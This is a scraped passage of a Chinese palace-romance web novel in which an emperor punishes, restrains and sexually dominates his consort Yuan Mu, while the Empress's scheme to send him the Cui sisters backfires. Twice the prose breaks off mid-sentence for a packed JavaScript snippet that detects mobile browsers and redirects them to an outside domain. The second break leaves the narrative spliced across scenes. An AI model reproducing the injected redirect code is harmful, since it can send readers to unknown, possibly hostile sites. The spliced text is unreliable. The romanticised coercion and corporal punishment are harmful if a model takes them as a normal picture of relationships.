元慕听到崔三娘和崔五娘的声音后,身躯霎时就像是绷紧的弓弦。 皇帝在榻上也鲜少失态,元慕都乱成那样了,他的玉冠都没有乱分毫,一身深黑色的礼服,唯有袖角纹绣银色的应龙。 高高在上,尊崇矜贵。 阴沉的眉眼,也遮不住那龙章凤姿的气度。 皇帝上位者的气质太强,哪怕一言不发也会令人生畏。 两个女孩都是世家贵女,算是见多识广。 但在更多时候,她们所了解的皇帝是那个对皇后百般宠溺的温柔丈夫。 而非是残忍杀夺,对待昔日旧臣也能径直灭族的冷情帝王。 美好的情爱故事,遮掩了皇帝的冷酷本性。 也让无数年轻的贵女,对那座能将人吞噬殆尽的深宫,产生了许多不切实际的恐怖幻想。 皇帝的声音很轻:“你们奉的谁的命?” 他站起身,居高临下地看向二人。 皇帝的身量高,阴影倾覆下来时,会有一种压迫感油然而生。 元慕被他抱在怀里,亦能觉察到他不悦时会出现的那种情绪。 崔三娘和崔五娘已经准备好,按照嬷嬷教的方式,去解皇帝的腰带。 但还没凑近,便被他寒凉至极的目光给吓到了。 都是在家里娇生惯养的姑娘,纵然有天大的胆子,也不敢真的在皇帝跟前作妖。 她们还能奉谁的命?当然是元皇后的命。 依照原定的计划,在元慕给皇帝下过药后,她们只须直接爬上他的床就好了。 可是看皇帝的神情,似乎还很清醒。 两个姑娘顿时有些惊乱,下意识地就朝元慕看去。 她们若是不去看还好,这样直勾勾的视线,想让人忽视都难。 元慕方才掉了眼泪,身上都是香气。 暗室生香,湿润馥郁,宛若梨花带雨,芙蓉泣露。 她们进来的时候,元慕就知道要完了。 但皇帝掐住她的脸庞,轻笑出声时,她还是觉察到一种深重的恐惧。 他淡笑道:“串通好的,是吗?” 皇帝的唇边含着笑意,他的眼底却连半分笑意都没有,冷得骇人。 元慕并不明白他的暗怒从何而来,但听到他轻声说“拖下去,处死”时,她浑身上下的血都冷了。 卫从是在祈年殿的殿门敞开后,匆匆进来的。 崔三娘和崔五娘全然没有想到这是怎么一回事,两人拼命地挣扎,跪在地上哀求:“陛下,是、是皇后娘娘让我们过来的啊……” 元皇后不是第一回往皇帝的床上送人了。 当初元慕被诏入宫的时候,皇帝并没有想到要立刻临幸她。 但那夜皇后直接将她送上了皇帝的床榻。 元慕被下了狠药,一些事情也就那样发生了。 事后皇帝并没有对这件事多言,他所记恨的,其实就只有元慕并非处子这件事。 这给元皇后一种错觉,就是她可以随意插手皇帝床上的事。 他无疑对元皇后是极为爱重的。 但帝王的尊崇,怎么是谁人都能忤逆的呢? 元慕的后背被冷汗浸透,她拼命地拉住皇帝的手,声音颤抖:“不是那样的,陛下,她们、她们不是……” 皇帝深暗的眼眸盯着倾洒在地上的茶水。 他的眼底阴沉得如若寒潭,半分光芒都无法敛进去。 听到元慕的话语后,皇帝抬起眼,他慢条斯理地说道:“先别说她们,你又做了什么?” 他的神情好像仍是淡漠的,但眸底分明是赫然的戾气。 - 祈年殿里静得近乎死寂。 唯有内殿里,忽而会传来压抑不住的哭声。 皇帝不见任何人。 元皇后已经在祈年殿前跪了两个时辰。 从星夜璀璨,到夤夜深沉。 今天是她的生辰,也是她预备给皇帝再添新宠的吉日。 可谁也没想到,事情的结果竟然会是这样。 寻常男人被妻子赠妾,只会高兴得眉飞色舞,若是洗干净直接送到他的床上,更是会雀跃到全然不去纠来路。 但皇帝显然不是这样的人。 吸取上回的经验,元皇后特意让人给崔家的两个姑娘验过身。 而后她专门找了嬷嬷教习,她们二人也是积极向学。 元皇后看着两人眼底的欢欣,心底难免生出厌恶,若不是她无法承宠受孕,帝王的恩幸哪里会轮得到她们这些贱蹄子? 可一想到往后她们能分元慕的宠,为她将太子生出来。 元皇后看向两个表妹的眼神,又温和了许多。 是的。太子。 她太须要太子来安身立命了。 自古以来,皇后常有被废者,但就是再荒唐的帝王,也不可能会去废他的嫡母。 现今的元家还算是如日中天,可花哪有百日红呢? 想要延续如今的尊宠,就只有凭依太子这样一个手段。 元皇后盼望一个孩子,盼望到了快病态的程度。 元慕刚进宫的时候,她当然是盼着元慕能好好的,最好是一举就诞下皇子。 元皇后甚至为元慕想好了,等出宫后要怎么办。 元慕生子有功,年纪又轻,到时候换个身份,找个合适的男人,将她风风光光地嫁出去。 当然这个男人最好是她先前的那个未婚夫。 两人毕竟有过一场,还差些就成婚,而且元慕连贞洁都交付出去了,必然待他是有些真情的。 让他们再续前缘,也算是一桩积德好事。 崔夫人是礼佛的,元皇后对此一向没什么兴致。 她只是在心底绝望到近乎崩溃时,反复地默念祷告,希望上天能助她一回。 皇帝这回是动了真怒。 崔家的两个姑娘没被立刻处死,她们被拖下去审讯,这样久过去依然什么消息都没有。 元皇后从骨子里感到恐惧。 皇帝的薄情,在宫闱待过的人,都多少能够体会。 但元皇后还是没能料到,对待妻子亲近的妹妹,他也会这样残忍。 一把随手降下的火星,陡然烧了一大片。 元皇后跪在祈年殿前,身躯近乎麻木,却也不敢离开。 她是体弱西子躯,整整两个时辰未曾饮水,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802746|174898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未曾休息片刻,身体早就撑不住。 元皇后的声音嘶哑:“臣妾恳请面见陛下。” 她这话不知道说了多少遍,但皇帝自始至终都没有出来过。 外间的喧嚣早就静了下来,夜深露重,临近新年,风寒到如同利刃。 直到元皇后快要昏倒时,皇帝才最终从殿内走了出来。 他换了身衣袍,依然是黑色的深衣。 暗纹是浅金色的凤凰,从肩头蜿蜒至袖摆。 分明是极为瑰丽的色泽,却没有任何的热意,只让人想得到覆雪的帝台。 皇帝的面庞俊美冰冷,颊侧染了少许的血。 他抬起手,将那抹血迹拭去。 白玉般的修长指骨,镀上血红后,蕴着可怖的美感。 皇帝的脸孔在整个京城的世家子中,都是数一数二的,只不过他的身份太尊崇了,盘算美男子时,从未有人敢将注意打到他的头上罢了。 做了两年多的夫妻。 元皇后已经习惯皇帝的文雅温和,习惯他面向她时含着淡笑的目光。 他们未曾亲密过,可全天下都没有他们这般相敬如宾的夫妻了。 那透着利刃的冰冷眼神扫来时,元皇后近乎是有些茫然和陌生。 这一晚无疑是兵荒马乱的。 亲自审问处置过元慕后,皇帝见了其他人。 他从不惮于杀戮,最仁慈的君主,也是须要杀戮来维护权威的。 何况皇帝从来不自诩仁君。 他什么人都杀得了,夜间时也从不会有魑魅魍魉入梦。 皇帝生于宫廷,长于宫廷,早就见惯了人情炎凉,他是最无情不过的人。 见到崔家那两个姑娘时,他就已经动了杀心。 当初将她们二人指给楚王做侧室,就已经是看在元家崔家的面子上。 眼下倒好,两个人随着元皇后给他的亲弟弟戴绿帽子。 皇帝极重贞洁,如今在世的嫡亲也就差不多就余下楚王。 他虽面上常贬损楚王,对这个弟弟却是极为看重疼溺的。 元慕随着元皇后往皇帝床上送人给他带来的怒意,都没有比她们意图给楚王戴绿帽子更深。 他自己知道这是什么滋味,全然不想要弟弟再承受。 皇帝怎么也没想到,她们竟然真的敢这么做。 见过元昳后,他的愠怒方才降下来少许。 皇帝的元从功臣里,地位最高的就是元慕和元皇后的父亲,元昳。 元昳有能力有眼力,允文允武,出将入相,连对赋税历法都颇有心得。 纵横史册,都找不出第二个这样有才干的人。 当初皇帝最危难的时候,亦是元昳出手给予奥援,不然皇帝也不会许诺元家嫡长子必出元后的破天富贵。 “阿洛不懂事,随着她姐姐乱来,”元昳轻声慢语,“臣下管教无方,代她给您赔罪了。” 他一字没提元皇后,句句都是元慕。 纵情风月场的男人,就是比旁人看得要清晰透彻。 皇帝大权在握,也没什么遮掩的兴致。 早先他就准备给元慕升位份,元昳看出来就看出来,倒无什么所谓。 元慕今夜哭得狠了,也说不好是睡过去,还是昏过去的。 按理来说,应该送她回清宁宫。 但皇帝的怒意没有全消,直接令人把她带去紫微殿。 元昳也就是那时候过来的。 德妃和贤妃也是高门贵女,背后有疼宠爱护的家族。 但她们的势力,与如今元家相比,还是差得太远。 位高权重是一回事,做皇帝亲信又是另一回事。 很多时候,后者比前者要恩重得多。 皇帝是向来不喜将时间和情绪,放在无关紧要的人身上。 处理完涉事的所有人后,他就没在祈年殿多待,向着元皇后说了句“好自为之”后,便径直离开。 今晚元慕犯了大错。 但要忧虑她夜间发热的,还是他。 元皇后在祈年殿跪了两个时辰,她想了许多辩解的话语,满腹都是打好的草稿。 却没想到,说完这句话后,皇帝就离开了。 他的神情那么冷漠,可他的衣上还染的有她妹妹身上的暗香。 这是元皇后过的最荒唐的千秋节。 世界上也不会有哪个女人,在生辰时还被丈夫如此落了脸面。 元皇后望着皇帝离去的方向,忽然落下了两行清泪。 仆从们随着皇帝的消失,也渐渐退了下去。 最后将她拉起的,是父亲身边的仆从。 元昳脸上的谦逊神情,在皇帝离去后消失得无影无踪。 他的狭长眸里,是分明的冷意。 元昳目含鄙夷,讽刺地说道:“瞧瞧你做的好事。” 元皇后的腿站不稳,身躯在冷风中瑟瑟发抖,全无皇后的尊贵与体面。 “让你安生做你的皇后,总不情愿,总想做些别的,”元昳眼中是昭然的嫌恶,“你想没有想过,你有那个能力吗?” 他训斥的话语带着寒意。 “我先前没告诉过你吗?”元昳俯视着元皇后,“大婚前皇帝就想跟你退婚的。” 他低声斥责道:“如果不是我,你现在比崔家这两个蠢货下场还惨。” 这是帝后鹣鲽情深故事里,最大的疏漏。 在大婚的前夕,皇帝曾和元昳说过一件事,他跟一个寻常民女有了情谊。 想要等到天下海清河晏时,立她为后。 为此皇帝不惜要断绝与元家的联姻。 好在后来发生了一些事。 等到那场最危急的兵乱结束后,皇帝再也没有提过此事。 不过遗憾的是,当年知悉内情的人,都死在了那场叛乱中,一百三十二名将士,尸骨无存。 唯有皇帝负伤归来。 听说那个晚上,他浑身都是血,差些没有挺过五更。 元皇后的容色一下子就变了。 她的眼里是摇晃的恐惧,紧张地拉住父亲的衣袖,含泪说道:“我真的知道错了,父亲,求您再帮帮我,往后我定然不会如此了……” 元皇后情急切切,身躯不住地颤抖。 这些年里,她最怕的不是元慕分宠,而是那个乡野出身的民女突然归来。 夺走属于她的一切。 13.第 13 章 皇帝的预兆没有错。 元慕果然在夜间发了高热。 她的身子还算可以,但仍是常常在惩诫过后起热。 元慕近来总是梦魇,她也不知梦见了什么,哭着忽然醒了过来。 皇帝刚从外间回来,她一望见他,惧怕得更厉害了,瑟缩地想要往床尾躲。 他眉心微拧,以为她是故意避着他,径直就将那半遮半掩的帷幔挑开。 半梦半醒间时,元慕总比平日要更加大胆几分。 在被皇帝抱起时,她不住地挣扎,像是仍然沉在梦魇中,慌乱间小手就打在了皇帝的脸侧。 饶是脾气再好的人,也禁不住这样的违逆。 皇帝不近女色,也不喜欢宫人近处侍候。 因此紫微殿的宫女不多,她们只在元慕来时会出现,为昏睡中的她仔细净身,然后换上舒适的睡袍。 素色的软袍像是被阳光炙烤的小酥饼,是非常绵软的浅金色。 元慕的身躯被裹在软袍里,像是含苞待放的花朵。 她的思绪紊乱,不住地想要挣动。 元慕的气力小,即便是用尽全力扇在皇帝脸上,也不会如何。 但她的确是成功将他激怒了。 一晚上费尽心思,处理她的事情,结果她就是这样对他的。 皇帝将元慕拦腰抱起,直接将人按在了腿上,狠扇了几巴掌后,他眉眼间的怒意才消减少许。 她晚间才被狠罚过,这会儿身上碰都碰不得。 “啪啪”的声响在寂静的宫殿中,清晰得让人几欲羞死。 元慕的眼眶瞬时就红了,她趴在皇帝的腿上,软袍被掀了起来,露出圆润红肿的雪臀,比在皇后跟前被皇帝欺负时,还要更加狼狈。 她脸皮很薄,一下子就哭了出来。 皇帝没有放过元慕,再度将人狠罚过后,才将她给抱起来。 这种惩诫方式是她最惧的,白皙的脸庞羞得通红,眼眶里盈满水意。 元慕坐都坐不住,呜咽着扭动腰肢。 但皇帝掐住她的腰身,强迫她坐在他的膝上。 他低呵道:“就不能安生片刻吗?” 这天底下也没有谁像元慕这样,明明犯了打错,还敢在他跟前这样嚣张的人了。 元慕很想止住泪水。 但她身上太累了,意识也太混乱,濡湿的水眸里光芒摇曳。 哭声是渐渐忍住了,可眼泪还在啪嗒啪嗒往下掉。 瞧着有几分可怜。 皇帝抚上元慕潮红的脸庞,像是稍稍缓和容色。 但甫一碰到她滚烫的面颊,他就知道她发热了。 元慕舒服的时候会忍着,将唇瓣咬得死死的,试着将所有哼声都咬进唇齿间。 她难受的时候更安静,发了热也没声没息的。 元慕的脸庞滚烫,额头更是泛起高热。 皇帝没有想到,就这么一会儿的功夫,她就起烧了。 他三月前离京时,特意和太医院交代过,要时刻盯着元慕那边。 结果三月下来,元慕健健康康的。 反倒是皇帝回京之后,这才短短几日,元慕就生了两回病。 他脸色不太好看,但还是立刻就吩咐了太医过来。 皇帝换了个姿势抱起元慕,她趴在他的怀里,纤细白皙的手指蜷着,无力地搭在他的肩头。 低低的泣声,像是受了委屈的孩子。 “不哭了,”皇帝低声说道,“太医马上就过来了。” 元慕的长睫垂落,大颗大颗的泪珠顺着脸庞往下滚。 她意识不清晰,但听到“太医”二字时,就本能地想要躲。 元慕少时生病都是硬生生扛过来的,偶尔玉姨娘会给她煮些姜茶,趁着热喝掉,然后闷在棉被里睡一觉,等到翌日清早,就好得差不多了。 术士言说她的早夭的命格。 但就是凭借这样的土方子,元慕好好地长到了十五岁。 如此频繁地生病,是在入宫后才开始的。 “我不想看太医……”元慕带着哭腔说道,“我睡一觉就好了……” 这种事怎么可能会由着她乱来? 皇帝的眉蹙着,他低声说道:“听话,元慕。” 他做惯了上位者,安抚的话语也说得像是在发号施令。 太医来得很快。 元慕一瞧见他们独特制式的衣冠,就不住地挣动:“我不看医官,李从旒——” 她向来很乖柔,今夜不知是怎么回事,做尽了忤逆之事。 皇帝攥住元慕的腰身,用绸带反剪绑住她的腕骨,然后将人按在怀里,微抬下颌直接让太医开始诊脉。 今晚当值的太医,年纪较轻,是张院正的徒弟。 他很仔细,饶是元慕不断挣动,也成功诊好了脉。 “陛下,昭仪娘娘是染了风寒,加之有些受惊,”太医恭敬地说道,“只须稍服些药,再施回针即可。” 他们在诊疾,医具都带得齐全。 皇帝经常陪着元慕诊脉,比她父亲元昳还要更了解她身体得多。 听到是风寒,他轻舒了一口气。 皇帝抚了抚元慕的乌发,淡声说道:“那现在就开始吧。” 她的皓腕被绑住,细腰也被皇帝紧攥着,身躯动弹不得。 即便心中百般不情愿,也只得褪下外袍,露出单薄的后背。 元慕的思绪乱得不成样子,她烧得快要昏头,但还是记得怕太医诊疾。 一辈子难过的事,好像都在这关头涌上来了。 元慕哭个不停,身躯也在不断颤抖,银针刺透雪肤时,她的指甲快要抓破皇帝的手背。 但还没多时,便再度无力地垂落。 实在是太疼了。 身躯像是在冰火两重天来回地翻腾。 元慕强忍住脑海中的恶心,可眼泪却难以停止。 等到针施完后,她后背被冷汗浸湿,满脸都是泪水,趴在皇帝的怀里,全无半分尊严可言。 皇帝的容色倒没有任何异常。 施针的功夫,汤药也快煎好了。 元慕不爱喝药,除了避子汤,从没见她主动饮过什么药。 皇帝没有做无谓的诱哄。 他让人将药盛入瓷碗,端起饮下后,径直覆上元慕的唇,将药强行喂她喝了下去。 苦涩在两人的唇齿间流转。 饮了好几次,整碗的药才算是饮完。 “好了好了,”皇帝低声哄道,“喝过药就不会再难受了。” 他将蜜饯喂进元慕口中,然后轻吻了吻她的唇角。 一晚上兵荒马乱。 太医离开后,紫微殿里才再度恢复平静。 元慕哭得累了,施针服药过后,理智也渐渐清醒许多。 她的身躯蜷缩,像小动物般依偎在皇帝的怀里,水眸红红的,唇瓣也咬得发肿。 皇帝惩诫元慕时有多狠,这会儿看到她小声低泣时的心就有多软。 她抽咽着说道:“疼……” 方才应该收着些的。 静夜无声,他爱怜地碰了碰她的额头,轻声说道:“再上一回药,就不疼了。” 说着元慕才刚穿上的新睡袍,就被皇帝扒了下来。 她不着寸缕,脸庞涨得通红,被他抱在怀里上药时,面颊红得快要滴血。 柔膝颤抖着,几次都想要收拢。 皇帝动作很轻,一边吻着元慕的唇瓣,分散她的注意力,一边俯身低眸,给她每寸雪肤细细上药。 她刚开始很排斥,后来声调渐渐变了,姿态也乖柔起来。 皇帝刚刚喂元慕喝药时,唇边都是苦的,但吻得久了,那苦涩好似化作怪诞的甘甜,冲淡了苦意。 前朝盛行蓄妾之风。 今朝风气清正许多,但仍有权贵,暗中私养娇妾无数。 皇帝从未养过宠,如果不是元皇后将元慕送上来,他可能还要过很多年才会破戒。 初始时养着就只是养着。 元慕和鸟雀于他而言,也并无分别。 只不过她能够给他诞育子嗣罢了。 但不知道什么时候开始,他在她的身上花费了过多的时间和精力。 皇帝并不清楚那是怎样的一种情愫。 只是看着元慕在他怀里熟睡过去时,他的心蓦地柔软了一瞬。 就仿佛是某一处在慢慢坍塌。 这种情绪极度危险,但又像是成瘾的药剂般,引人入胜。 皇帝将元慕揽入怀里,低头在她的颈侧深深地吸了一口气,然后毫不犹豫地在最显眼的地方,将那暗红色的吻痕咬得更深。 - 元慕是翌日下午才醒。 快清晨时,她身上的高热才彻底褪去。 午间醒来时,元慕仰头看向穹顶,过了好一会儿才想起这里是紫微殿。 昨夜的记忆如潮水般漫涌,让她额侧的穴位都突突作痛。 元慕撑着手臂坐起身,浑身上下都疼得厉害。 睡袍换了好几次,软袍之下估计连一块好肉都快没有了。 元慕望向菱镜当中,那雪白后颈上的深红痕印,她扒着领口往下看,匆匆瞥了一眼,就不敢再多看。 实在是太混乱了。 元慕真是没有想到,这回皇帝会动这样大的怒。 想到崔家那两个姑娘,她更是忍不住地生出恐惧。 皇帝会处死她们吗? 元慕的心提着,直到内殿的门被人从外间推开,她的思绪才收回来。 昨天是皇后的千秋节,举国欢庆。 官衙也休沐三日。 近来的朝务不是很多,皇帝午间时结束一个简短的朝会,便估算着元慕苏醒的时间回了宫。 他换了身鸦青色的常服。 如若冠玉的脸庞,高挑挺拔的身姿,在鸦青色长袍的映衬下,更显潇洒落拓。 元慕失神了片刻,而后下意识地忍着疼,从床上下来,向着皇帝福身行礼:“陛下……” 她的声音轻缓,略微透着哑意。 皇帝将元慕抱回到床上,漫不经心地拨开她的唇瓣,向着喉间探去:“嗓子还疼吗?” 这样的姿态轻佻随意,但他的动作却是那样自然。 三月的分别还是太久。 以前元慕什么都能忍得了。 她强按捺住不适,低声说道:“不疼了,陛下。” 皇帝的指节退出后,用指腹抿去她唇边的涎液,轻轻说道:“多喝些水。” 昨天他动怒时,将元慕给吓坏了。 她在他跟前,本来就没什么勇气,昨天的事过去后,更是有些想避着他。 元慕现今真是没什么心思,再跟皇帝对着干,再去竭力和命运做挣扎了。 能留宿紫微殿是恩典。 但她只想回到清宁宫去。 可皇帝暂时却没有放元慕走的意思。 他让太医过来,又仔细给她看了看,然后将煎好的药碗摆在她的跟前。 元慕已经好了,她不想再喝药。 但皇帝一直盯着,她只得硬着头皮端起药碗喝下。 饮完后元慕立刻吃下皇帝递来的蜜饯。 甘甜和苦涩对冲,很快就消解了那种作呕般的不适。 让人将东西都撤下去后,仆从也被皇帝屏退。 元慕站在皇帝的跟前,也不知道要干什么,像罚站的小孩子般无措。 他翻着文书,过了片刻后才抬眼看她:“为了出宫看姨娘,就应下元萦的违逆之举。” 皇帝轻描淡写地说道:“朕是该说你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“姨娘,我很想您,您的身子还好吗?”元慕急切地问道,“阿茵你的眼睛好些了吗?之前大火那回没有影响到吧?” 元茵幼时大病过一场,左眼盲视,只能看清两三尺处的东西。 之前兵乱时,庄子里起了大火。 元茵拼命地想要找寻元慕,吸入了大量的浓烟。 她眼睛不好,连强光都照不得。 元慕在这个世上早就没什么挂心的,只有姨娘和庶妹是她最后的执念。 但她心情太急,全然没有留意到,姨娘和庶妹的穿着多么体面光鲜,早非是她记忆里的苦命娘俩。 “我和阿茵都很好,”玉姨娘柔媚一笑,“回府后阿茵的眼也有大医诊治,如今已经好多了。” 她被放逐到庄子时很年轻,如今风韵犹存。 元慕快要掉下泪来:“那就好,那就好。” 她紧紧地握住两人的手,泪珠滚落时,都舍不得放开二人去拭泪。 皇帝让人备了茶点,轻轻说道:“跟你姨娘妹妹多说一会儿吧,我们还有事情要到偏殿去谈。” 临别时,他俯身为元慕擦了擦眼泪。 元慕的眼眶通红,她重重地点头“嗯”了一声,带着哭腔说道:“多谢您,陛下。” 她的神情那样真挚,对皇帝的感激也是出自肺腑。 皇帝轻笑了一下,走之前最后看了玉姨娘和元慕的庶妹元茵一眼。 但元慕背对着她们,全然没能瞧见他那平淡一眼,让她们二人的神情霎时紧绷起来。 两人离开后,少言的元慕也彻底打开了话匣子。 “姨娘,你们现在过得好不好?”她急切地问道,“可有缺银钱的地方?” 玉姨娘笑得柔和,细细道来:“别担心阿洛,我们现在过得很好,也没有缺银钱的地方,阿茵快及笄了,我最近就愁着给她挑夫婿呢。” 她的声调婉转,像是黄鹂般悦耳。 元慕的记忆也被拉回到了许多年前。 曾经在庄子里褪色的旧时光,蓦然变得流光溢彩起来。 直到日暮时分,她们方才最终分别。 元慕送二人上了轿子,眸光里尽是依依不舍,回身和暮光之下的父亲对上视线,她才从玉姨娘那如温泉般的柔情里挣脱。 这是她的生身父亲,也是她世界里血缘最亲近的陌生人。 元昳站在金红色的霞光里,长身玉立。 时光没在他的身上留下太多痕迹,他仿佛仍如旧时般风流不羁。 元慕侧过身来,低眸唤道:“父亲。” “陛下将崔家那两个姑娘送去佛寺了,”元昳恍若不经意地说道,“青灯古佛,相伴余生,也算是件幸事。” 元慕跟他打交道不多。 她此生最难忘的还是五岁时,祖母病故,葬礼上身着孝衣的元昳满脸轻松和庆幸,朝着身边的幕僚说道:“总算是能将这个祸害送走了。” 但元昳还是带来了好消息。 皇帝的话很少有改变的余地。 出了这样大的事,两人能捡回一条命,就已经是幸事中的幸事。 元慕的眉宇不自觉地舒展。 她眼帘低垂,色泽清浅的水眸里荡漾柔软的光芒。 但元昳的话锋很快就转了。 他看了眼元慕的小腹,风轻云淡地问道:“还是没消息吗?” 元慕的脸色顿时白了少许,她不是个敏锐的人。 但作为弱者的本能,让她在顷刻间就觉察到了元昳言辞中的危险。 “实在不行的话,”他漫不经心地说道,“换个男人试试吧。” 14.第 14 章 元慕的脸上血色尽失。 她的声音发颤:“您在说什么?” 元慕纤白的指节紧攥着,她的眸光摇晃,耳边也在阵阵轰鸣,几乎不敢相信父亲说了什么。 皇帝是极重女子贞洁的人。 元慕婚前失贞,为之她不知受了多少摧折。 她与先前的未婚夫相见,他都不能容忍分毫。 如果让皇帝知道,她怀了其他男人的孩子…… 那后果实在是太可怕了,元慕想都不敢去想,方才因为见到姨娘和妹妹而生出的喜悦,也很快就消退殆尽。 她的情绪压抑,但元昳的容色平静到了极致。 他眺望西坠的金乌,眼帘微抬:“先试试吧。” 这种事情哪里是能够去试的? 元慕心中震骇,她极力想要反驳,但话还没说出口,皇帝就走了过来。 宫妃的身份特殊,即便是面见生身父亲时,亦常要垂帘。 元慕强忍住已经到唇边的话语,她福身行礼,轻轻唤道:“陛下。” 但她的身躯还微矮下,皇帝就按住了她的手。 元慕的身份特殊,他们在人前很少会这样亲近,更不要说在元昳的跟前。 然而两人的神情都很平静,就仿佛是什么都没发生。 皇帝握住元慕的手,轻轻揉捏她的指骨,慢声说道:“时候不早了,元卿也尽早回府吧。” 霞光照亮了他暗色的丹凤眼。 那晦暗当中,仿佛蕴着金红色的光亮。 元慕蓦地不敢看向皇帝的眼,她的指尖发烫,强忍住将手收回来的欲念。 元昳不是不识趣的人,他朗声笑道:“那臣就不叨扰陛下了。” 他行礼离开,起身时衣袂翩跹,风流飘逸。 皇帝对元昳是很满意的。 这是他的元从功臣,也是他如今最信重的人。 就连生的儿子,都是可堪重用的英才。 “你父亲若是能多得几个儿子就好了,”皇帝淡笑道,“朕也不必担忧,将来无能臣可用。” 元昳妻妾众多,庶子庶女也不少。 但嫡子就只有元慕兄长一人。 崔夫人多年来无所出,她嫁进来得又早,将先夫人的两个儿女是真的当作亲生孩子在对待。 元慕入宫前,兄长就一直在外任职。 他出身尊贵,冷峻严肃,能力出众,年纪轻轻就做了地方大员。 只不过他对元慕一直不太喜欢。 元慕想要认真答皇帝的话,但脑海中不停回放的是父亲方才的话语。 她的心很乱,被他拍了拍脸庞,方才回过神来。 皇帝凝视着元慕的水眸,声音压低:“想什么呢?” 她很怕他这幅神情,连忙抿紧了唇摇头道:“没有想什么,陛下。” 元慕的容色转换得很快,但皇帝的眸色还是微暗了少许。 走上长阶就进入了紫微殿。 “马上就是新年了,”皇帝状似不经意地说道,“你身子还没好全,这几天就先住在这边吧。” 他的指节抚上元慕的脸庞。 冰凉的扳指碰到雪腮时,她微微颤了一下。 元慕很想回清宁宫,日夜在皇帝的注视中,只会让她无时不刻都紧绷着。 但最终她也没敢将拒绝的话说出来。 跟皇帝同卧起是一件压力极大的事,他性子阴晴不定,喜怒无常。 元慕宁愿他夜夜留宿清宁宫,也不想住在紫微殿。 好在近来皇帝事情多,作息跟元慕又差得很大。 每每她睡醒时,他已经离开,她入睡时,他还没有回来。 至少白昼时不用面对他。 后妃不得干政。 元慕时常承宠,却一直不知道皇帝在做什么,她对他的了解,或许比宫廷女官还有更少一些。 不过这也贴合了她的用处,那就是承宠。 偶尔半夜被弄醒的时候,元慕浑身上下都是不适的。 她咬住唇瓣,柔膝跪得红肿,肩骨不断地打颤。 元慕很想要叫停,但呜咽声乞求声溢出后,换来的却不是怜惜,而是更深重的摧折。 皇帝神情里带着郁气,眼底晦暗阴翳。 元慕不善解语,也不知如何为他纾/解,就那样敞着身躯生生承受他的掠夺。 夜夜如此,她想要早醒也难。 在紫微殿唯一的好处,就是不用再去见皇后。 或者说,不用去见任何人。 元慕在清宁宫时,就已经鲜少外出,她去见亲姐姐,都须先知会皇帝。 但到了紫微殿后,她连内殿的门几乎都没有踏出去过。 夜间浑浑噩噩,白昼时也不甚清醒。 日子过得太过混乱,大部分时候,元慕不觉得她像个有血有肉的活人。 她更像是供男人肆意的玩物,被挑起下颌压着亲吻,就是对她最后的怜惜。 消极的情绪无声地弥漫。 但元慕一天里清醒的时候不多,也就能够忍受,只是偶尔抬眸望向紫微殿的穹顶时,她会觉得这里像极了囚笼。 而她是连振翅都无法的笼鸟。 临到新年时,元慕才终于结束了这夜夜笙歌的混乱生活。 皇帝那边的事情也彻底忙完。 清早时她被他从锦被中抱了起来,他的眉眼舒展,耐着性子给她更衣。 这是他们一起度过的第三个新年。 外间喜气洋洋,元慕昨天在露台边待了很久。 听到路过的宫女闲语,梅园又增了一方新的花池,等到明年夏天时,就能看莲叶接天的盛景了。 皇帝即位之后,连宫殿都没有扩建过。 他从不大兴土木,唯有在修缮梅园上,分外用心。 听人说连设计的图纸,都是他亲笔绘成的,元皇后听说时,眼眶都激动得泛红了。 怪不得临近年关,皇帝还会这样忙碌。 先前因为崔家两个姑娘的事,皇帝发过一回怒,连元慕也受到波及。 但夫妻之间哪有隔夜的仇。 这才不过几日,帝后二人便又恢复了先前的亲近。 皇帝对皇后的疼宠纵容,甚至于更胜以往。 元慕垂着眼眸,纤白的手指蜷起,最终是从露台边安静地离开了。 大年三十的清早,苍凉的天穹都似被人间的喜乐晕染。 薄雾之中,是浅红色的朝阳。 日光高耀,缕缕点金。 “在殿里闷了这么多天,”皇帝的语气柔和,“该出去转转了。” 他的容色清澹,全然没有帐幔中病态的模样。 元慕不知道皇帝要带她去哪里。 她昨天晚上有点梦魇,用过早膳洗漱过后,思绪还不是太清晰,迟钝地坐在皇帝身畔。 看到一身深红色外袍的楚王时,元慕才蓦地抬起头来。 她想要站起身,向着楚王行礼,但还没开口,就被皇帝扣住腰身坐了下来。 楚王神情自若,淡定地说道:“小王见过昭仪娘娘。” 他还是那副模样,一袭深红色的外衣,将庄严肃穆的紫微殿都映照得亮堂起来。 要跟楚王一起出去吗? 元慕微愣了一瞬,她才没有回过神来,便听到一道娇俏的笑声响了起来。 “哥哥,你要是再不回来,”少女娇声道,“我都想杀到朔方去找你了。” 回应她的是一道温和的男声。 “小祖宗,哪怕是为了你,”他笑着说道,“哥哥也要快马加鞭回来啊。” 兄妹二人非常亲密,并肩走来时,恍若明月冉冉升起。 是郗家兄妹。 若说如今的京城里,最为人瞩目的氏族,那无疑是郡望在高平的郗家。 当初开国之际,郗家就是功臣,这些年来虽有坎坷,地位却仍是首屈一指的。 原因无他,皇帝的母亲就是出自郗氏。 而整个郗家这一代里,最出众的就是主支嫡系的郗容境兄妹。 三月前皇帝去了朔方,跟他同去的正是郗氏年轻的家主郗容境。 与他同样名扬京城的是他的妹妹郗兰嫣。 郗兰嫣年岁尚小,今年才刚刚过了十六,但她气质出尘,蕙质兰心,还是闻名遐迩的才女。 在女郎当中,她就是最耀眼的明珠。 很少有人站在这样的人跟前,会不感到自惭形秽的。 元慕长了郗兰嫣一岁,但两个人站在一起时,没有谁会觉得她们是同龄人。 郗兰嫣实在是太明媚了。 